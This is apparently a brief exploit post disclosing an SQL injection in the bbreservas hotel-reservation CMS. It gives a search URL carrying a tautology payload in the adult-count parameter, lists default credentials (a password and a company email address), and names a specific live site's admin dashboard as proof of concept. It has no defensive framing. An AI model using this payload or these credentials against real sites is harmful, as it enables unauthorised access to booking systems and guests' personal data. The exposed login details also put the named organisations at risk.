SQL INJ bbreservas BRAZIL CMS

[oxahax]

A simple sql injection in a Brazilian hotel cms





Injection vector​

https://www.site.com/reservas/search?date_start=609860^&date_end=600767^&qtde_adult=199816085


or 2951%3d02951^&qtde_child=0

standard credentials

121314

desenvolvimento@venturaminas.com.br


    Vendor https://www.bbreservas.com.br/

POC https://www.dayrell.com.br/admin/dashboard